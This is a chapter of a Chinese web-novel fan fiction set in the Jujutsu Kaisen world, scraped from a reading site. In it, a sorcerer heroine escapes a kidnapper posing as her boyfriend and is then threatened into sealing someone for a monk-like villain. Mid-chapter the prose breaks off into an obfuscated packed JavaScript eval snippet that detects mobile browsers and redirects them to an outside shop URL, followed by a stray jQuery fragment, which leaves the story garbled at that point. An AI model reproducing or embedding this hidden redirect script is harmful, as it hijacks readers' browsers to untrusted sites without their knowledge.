文趣网 > 都市小说 > 狗卷真是太可爱啦! > 27.狗卷家族
    我醒了。

    棘君正大咧咧地反坐在椅子上,双手撑在椅背上,表情兴奋而又诡异。

    我心中有种异样的违和感。

    棘君,日常只能说饭团语,不能说霓虹语;而且声音清爽却又磁性,怎么会呕哑嘲哳难为听?更重要的是气质,虽然棘君喜欢恶作剧,但是很阳光清爽!

    眼前这个,虽然外表相似但完全对不上。如果第一次见面遇到的是他,我怎么可能会一见钟情啊!

    “你不是棘君。”我朝他搭话,试图理清现状,悲惨地发现我被绑在椅子上,手机等随身物品都被拿走了,就连挤电车都要随身携带的狙击枪也不见了!

    “我怎么可能是那个垃圾。”假装成我男朋友的垃圾说话了,他怎么好意思说棘君是垃圾啊!

    “既然如此,你为什么要假扮他?” 我绝望地发现,房间居然是封闭的,看不出具体的时间和任何地点特征,只能从眼前的人嘴里套话。

    “你猜?”男人露出恶劣的笑。他已经取下了口罩,嘴巴两边并没有“棘君防伪标志”的黑色纹路。

    我死死盯住他的嘴巴,要是早点注意到异常就好了。

    我收起视线,回以一个比他还要恶劣的笑容:“因为你连垃圾都不如吧,所以才需要假扮你嘴里的垃圾。毕竟,你连咒言师特有的黑纹都没有。”

    他气急败坏:“你放P!长着蛇眼纹是耻辱,也只有你这种头发长见识短的人会当个宝!”

    “蛇眼纹啊。”我还真是第一次听说棘君嘴巴边上纹路的名字,确实很像。为了表达我对他的感谢,我郑重地说:“你头发短见识长,也没见你明白绑架人口犯法啊。”

    “你懂什么?你们咒术师也配受到霓虹法律的保护?不过是一群肆意妄为的垃圾。”他语气不屑,话里话外都是对咒术师的鄙视。

    原来这家伙不是咒术师啊。

    “你不会是吃不到葡萄说葡萄酸吧。”真是奇了怪了,一个不是咒术师的家伙,绑架我干嘛。不过他是普通人那倒简单了。我暗暗将咒力附在身体上,挣脱绑住我的绳子。

    “怎么可——”能字没能说出口。

    我一拳将他打翻在地,吊儿郎当坐在椅子上的他终于老老实实地躺在了地上。

    擒拿术我不会,但是连续痛殴他几拳,再把他绑在椅子上还是做得到的。

    男子嗷嗷惨叫几声之后就昏了过去,正好方便我动手。

    这个房间很奇怪,别说窗户了,连门都没有,墙壁也都很厚。我附着上咒力猛砸一拳——也只能扮演一下龙叔,收回拳头然后吃痛地甩手。

    墙壁毫发无伤。

    突破口还是只有眼前的这个男人。

    “回神啦。”我一巴掌扇过去,他和棘君有几分相似的脸肿成猪头,我下手更是没有心理负担了。

    “怎么可能!”男子醒来,下意识说出之前的未竟之言。

    “一切皆有可能。”我居高临下望着他,“说出你知道的一切。”

    男子死鸭子嘴硬,拒不配合。

    我又狠狠几巴掌扇过去,他老实了,含糊不清地说:“我叫狗卷藤,是狗卷家族年轻一辈的佼佼者。”

    这话可信度挺高,除了气质、声音、蛇眼纹这些棘君的防伪标识,他的五官硬件确实和棘君极相似,否则也不至于画个妆就骗过我了……

    “你和棘君是同一个家族的人,为什么要对我下手?”我内心已经有了猜测——怕不是九子夺嫡的剧本,棘君觉醒了咒言师的天分,于是成为内定的下一任族长。

    而他狗卷藤,因为没有觉醒咒力,与族长之位无缘,于是出此阴险之计,绑架棘君的亲亲女朋友来威胁他——一定是这样!电视剧都是这么演的。

    “为了钱。”狗卷藤低垂着头,诉说着自己的不堪。

    我懂的,有了族长之位就能得到很多好处,钱、权都手到擒来。果然自古财帛动人心。

    “我做生意亏了,欠了五百万日元,公司倒闭了,女朋友和我分手了,家族也不愿意掏钱拉我一把!”

    啊,和我想的怎么完全不一样。狗卷家族的爱恨情仇呢?怎么是创业小老板的失败故事。

    他却越说越激动,仿佛高压锅终于开了排气阀,“有人说只要我假扮成狗卷棘,配合他们演一出戏,事成之后就帮我把债都还清。”

    “那他们把钱给你了吗?”狗卷藤,我真是看错你了,我还以为你有什么大志向呢。

    “没有,他们说事成之后。”他啐了一口,“现在你都把我绑起来了,估计事情也成不了了。”

    “这样吧,我帮你把债还了。你把你知道的都告诉我怎么样?”打一棒子再给个甜枣,让他心服口服,从他嘴里套到的信息才更有价值。

    他咬紧牙齿,毕竟我为刀俎他为鱼肉,不得不屈服了:“成交。”

    从他的口中我也得知了更多的信息。

    据说是有人看中了我的生得术式“封印术”,才绑架我,希望借我之手去封印别人。

    “对了,去见你之前他们还给了我一朵花,说是凑近可以让你陷入睡眠。”他掏出一朵紫色的花。世界真小,这是老熟人早崎间生吧……

    关于绑架问不出更多的信息了,我问出另一个我关心的问题:“那你和棘君是什么关系?”

    “我们没什么关系。硬要说的话,我是狗卷家族年轻一代的佼佼者,而他是狗卷家族的弃子。”明明不久前还崩溃的他,在说出这句话时竟有几分自得。

    “你确定,你没说反?”我用眼神上下打量着他,很难想象这个被我绑在椅子上的人是佼佼者,而帅气可爱还会咒言的棘君是弃子。

    “当然没有!”他极力否定,也像是在极力维护自己的自尊心,“狗卷家族不想卷入咒术界的纷争,所以只要有咒言师出现,就会被家族除名。所以狗卷棘就是家族的弃子!”

    “但是棘君至少没有负债五百万日元,而且他有很多存款。”我还是要为我的男朋友说两句话,而且为了照顾狗卷藤脆弱的心灵,我嘴下留情,没说棘君比他帅气、可爱100倍!

    总是安慰我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611382|205553||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的棘君,却被家族排斥、除名。我想到棘君成为咒术师的理由——“为了证明咒言不是诅咒”,一丝钝痛从我心头泛起。

    也许并不只是为了证明咒言不是诅咒,更是为了证明他自己不是诅咒,为了向家族证明他存在的意义,就像我曾经想向别人证明自己真的能看见咒灵那般。

    但是棘君啊,其实我们都已经无需向别人证明了。

    手上的紫水晶手串上仿佛映照出棘君的模样。经历了和棘君这么久的分别,我此刻真的很想见到他……

    但狗卷藤破坏了我的想念之情。尽管我已经克制了自己的扎心言论,他却还是破防了。

    他双目赤红吼道:“明明狗卷棘才是家族的弃子,凭什么过得比我好,不需要为钱担心,还有好看的女朋友!”

    “因为棘君他啊,从没像你这样自怨自艾……”

    还有谢谢对我的夸奖——

    不好,有危险!第六感给了我预警,该不会是狗卷藤这家伙的破防大吼把别人惊动了吧!

    我跳到一旁,躲开来自墙里的突然袭击。

    “真是好身手啊。九条待雪小姐。”来人未见其人,却先闻其声。

    我警惕地注视着墙壁。

    那里突然出现了一个扭曲的黑色漩涡,两个人从里面缓缓走出来。

    第一个人,嚯,正是老熟人早崎间生,他毕恭毕敬地对着身后的人说:“请,夏油大人。”

    后面的人这才信步走出。他扎着黑色的丸子头,穿着绿色的袈裟,俨然一副僧侣打扮,但那危险、血腥的气息却透过他温和的外表溢出。

    这个人,很强,也很危险。我按兵不动。

    “九条待雪小姐,不用这么戒备。我并没有什么恶意,只是想和你见个面。”他挂着慈悲的笑容,我却只能从里面看到森森白骨。

    “那有什么事情就直说吧。”信他没有恶意,还不如信我是秦始皇。

    “那好,也能节省彼此的时间。我就开门见山了——我要你帮我封印一个人。”

    “封印谁?你让我封印我的男朋友的话那肯定是不可能的。”假装成一个陷入爱恋的女人,尽管也并不算是假装,更能降低别人的防备。

    丸子头僧侣笑了出来:“当然不是,你放心好了。不过,爱情还真是伟大呢~”

    “所以是谁?”

    “抱歉啊,九条小姐,这个要保密哦~”黑发丸子头滴水不漏,丝毫不透露自己的打算。

    “你连封印谁都不告诉我,我很难办啊。再说我有什么好处吗?”

    “这个嘛,如果你答应的话,就能够活下来,这个好处够吗?”

    一个火山头的咒灵掐出一小簇火苗,周围的温度极速上升。哪怕我用咒力抵御,热焰还是炙烤着我,下一秒我就能做熟上菜了。

    僧侣大哥,你不是没什么恶意吗?虽然我知道你是装的,但是你好歹多装一会儿,不要一下子就这么剑拔弩张好吗?

    事已至此,我只能光速滑轨了。

    “够够够!一切都好说。”